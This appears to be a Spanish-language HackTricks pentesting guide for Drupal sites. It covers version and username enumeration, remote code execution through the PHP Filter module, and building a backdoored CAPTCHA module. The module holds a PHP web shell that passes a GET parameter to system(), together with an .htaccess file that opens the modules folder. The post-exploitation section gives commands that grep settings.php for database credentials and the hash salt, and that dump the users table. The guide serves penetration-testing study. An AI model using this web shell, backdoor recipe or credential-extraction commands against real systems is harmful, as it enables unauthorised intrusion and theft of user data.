hacktricks/network-services-pentesting/pentesting-web/drupal.md

9.1 KiB

Drupal

Aprende hacking de AWS desde cero hasta experto con htARTE (Experto en Equipos Rojos de AWS de HackTricks)!

Otras formas de apoyar a HackTricks:

{% embed url="https://websec.nl/" %}

Descubrimiento

  • Verifica meta
curl https://www.drupal.org/ | grep 'content="Drupal'
  • Nodo: Drupal indexa su contenido utilizando nodos. Un nodo puede contener cualquier cosa como una publicación de blog, encuesta, artículo, etc. Las URIs de las páginas suelen tener la forma /node/<nodeid>.
curl drupal-site.com/node/1

Enumeración

Drupal admite tres tipos de usuarios de forma predeterminada:

  1. Administrador: Este usuario tiene control total sobre el sitio web de Drupal.
  2. Usuario Autenticado: Estos usuarios pueden iniciar sesión en el sitio web y realizar operaciones como agregar y editar artículos según sus permisos.
  3. Anónimo: Todos los visitantes del sitio web se designan como anónimos. Por defecto, a estos usuarios solo se les permite leer publicaciones.

Versión

  • Verificar /CHANGELOG.txt
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""

Drupal 7.57, 2018-02-21

{% hint style="info" %} Las nuevas instalaciones de Drupal bloquean por defecto el acceso a los archivos CHANGELOG.txt y README.txt. {% endhint %}

Enumeración de nombres de usuario

Registro

En /user/register intenta crear un nombre de usuario y si el nombre ya está tomado, se te notificará:

Solicitar nueva contraseña

Si solicitas una nueva contraseña para un nombre de usuario existente:

Si solicitas una nueva contraseña para un nombre de usuario que no existe:

Obtener número de usuarios

Accediendo a /user/<number> puedes ver el número de usuarios existentes, en este caso es 2 ya que /users/3 devuelve un error de no encontrado:

Páginas ocultas

Fuzz /node/$ donde $ es un número (de 1 a 500, por ejemplo).
Podrías encontrar páginas ocultas (de prueba, desarrollo) que no están referenciadas por los motores de búsqueda.

Información de módulos instalados

#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml

# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.yml

Automático

droopescan scan drupal -u http://drupal-site.local

RCE

Con el Módulo Filtro PHP

{% hint style="warning" %} En versiones antiguas de Drupal (antes de la versión 8), era posible iniciar sesión como administrador y habilitar el módulo Filtro PHP, que "Permite evaluar código/snippets PHP incrustados." {% endhint %}

Necesitas que el plugin php esté instalado (verifica accediendo a /modules/php y si devuelve un 403, entonces existe, si no se encuentra, entonces el plugin php no está instalado)

Ve a Módulos -> (Marca) Filtro PHP -> Guardar configuración

Luego haz clic en Agregar contenido -> Selecciona Página básica o Artículo -> Escribe código de shell php en el cuerpo -> Selecciona Código PHP en Formato de texto -> Selecciona Vista previa

Finalmente, simplemente accede al nodo recién creado:

curl http://drupal-site.local/node/3

Instalar el Módulo PHP Filter

Desde la versión 8 en adelante, el módulo PHP Filter no se instala por defecto. Para aprovechar esta funcionalidad, tendríamos que instalar el módulo nosotros mismos.

  1. Descargar la versión más reciente del módulo desde el sitio web de Drupal.
  2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
  3. Una vez descargado, ir a Administración > Informes > Actualizaciones disponibles.
  4. Hacer clic en Examinar, seleccionar el archivo del directorio donde lo descargamos y luego hacer clic en Instalar.
  5. Una vez instalado el módulo, podemos hacer clic en Contenido y crear una nueva página básica, similar a como lo hicimos en el ejemplo de Drupal 7. Nuevamente, asegúrate de seleccionar Código PHP en el menú desplegable de Formato de texto.

Módulo con Puerta Trasera

Un módulo con puerta trasera se puede crear agregando un shell a un módulo existente. Los módulos se pueden encontrar en el sitio web drupal.org. Vamos a elegir un módulo como CAPTCHA. Desplázate hacia abajo y copia el enlace para el archivo tar.gz archivo.

  • Descargar el archivo y extraer su contenido.
wget --no-check-certificate  https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
  • Crear una shell web en PHP con el contenido:
<?php
system($_GET["cmd"]);
?>
  • A continuación, necesitamos crear un archivo .htaccess para darnos acceso a la carpeta. Esto es necesario ya que Drupal niega el acceso directo a la carpeta /modules.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
  • La configuración anterior aplicará reglas para la carpeta / cuando solicitamos un archivo en /modules. Copia ambos de estos archivos a la carpeta captcha y crea un archivo comprimido.
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
  • Suponiendo que tenemos acceso administrativo al sitio web, haz clic en Administrar y luego en Extender en la barra lateral. A continuación, haz clic en el botón + Instalar nuevo módulo, y seremos llevados a la página de instalación, como http://drupal-site.local/admin/modules/install. Navega hasta el archivo Captcha con puerta trasera y haz clic en Instalar.
  • Una vez que la instalación tenga éxito, navega a /modules/captcha/shell.php para ejecutar comandos.

Post Explotación

Leer settings.php

find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null

Volcar usuarios de la base de datos

mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'

Referencias

{% embed url="https://websec.nl/" %}

Aprende a hackear AWS desde cero hasta convertirte en un héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: